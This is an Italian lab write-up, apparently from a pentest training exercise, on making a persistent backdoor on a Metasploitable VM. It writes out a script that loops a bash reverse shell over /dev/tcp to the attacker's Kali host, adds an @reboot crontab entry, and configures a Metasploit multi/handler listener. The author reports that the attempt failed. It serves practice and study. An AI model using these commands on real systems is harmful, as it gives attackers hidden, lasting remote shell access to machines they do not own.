Backdoor persistente

Creazione di una backdoor persistente

(tentativo extra dopo l'esercizio)

Ora che sono dentro metasploitable posso provare a mettere una backdoor attiva.

Creo un file chiamato backdoor.sh nella directory /bin e aggiungo il loop per la connessione persistente:

```
meterpreter > shell
Process 2 created.
Channel 2 created.
pwd
/
echo '#!/bin/bash' > /bin/backdoor.sh
echo 'while :' >> /bin/backdoor.sh
echo 'do' >> /bin/backdoor.sh
echo 'bash -i >& /dev/tcp/192.168.11.111/4444 0>&1' >> /bin/backdoor.sh
echo 'sleep 60' >> /bin/backdoor.sh
echo 'done' >> /bin/backdoor.sh
```

l'idea è fare uno script in metasploitable che ogni 60 secondi si collega con la macchina attaccante (Kali).
Rendo lo script eseguibile e per fare in modo che venga eseguito sempre all'avvio del sistema aggiungo un comando al crontab:

```
chmod +x /bin/backdoor.sh
(crontab -l 2>/dev/null; echo "@reboot /bin/backdoor.sh &") | crontab -
```

e verifico se è stato aggiunto:

```
crontab -l


@reboot /bin/backdoor.sh &
```

Ora che la backdoor è configurata e ho riavviato, devo assicurarmi che **Metasploit** sia pronto per ricevere la connessione reverse shell ogni volta che la macchina compromessa si riavvia:

```
reboot

[*] 192.168.11.112 - Meterpreter session 1 closed.  Reason: Died
exit

Terminate channel 2? [y/N]  y
[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value>
msf6 exploit(multi/misc/java_rmi_server) >
```

Uso il modulo `exploit/multi/handler` per impostare il listener:

```
msf6 exploit(multi/misc/java_rmi_server) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x86/shell_reverse_tcp
PAYLOAD ⇒ linux/x86/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.11.111
LHOST ⇒ 192.168.11.111
msf6 exploit(multi/handler) > set LPORT 4444
LPORT ⇒ 4444
msf6 exploit(multi/handler) > exploit
```

e nel mentre riavvio metasploitable per vedere se lo script si avvia

Considerazione finale

Non sono riuscito a creare la backdoor persistente, ma è stato utile come ripasso.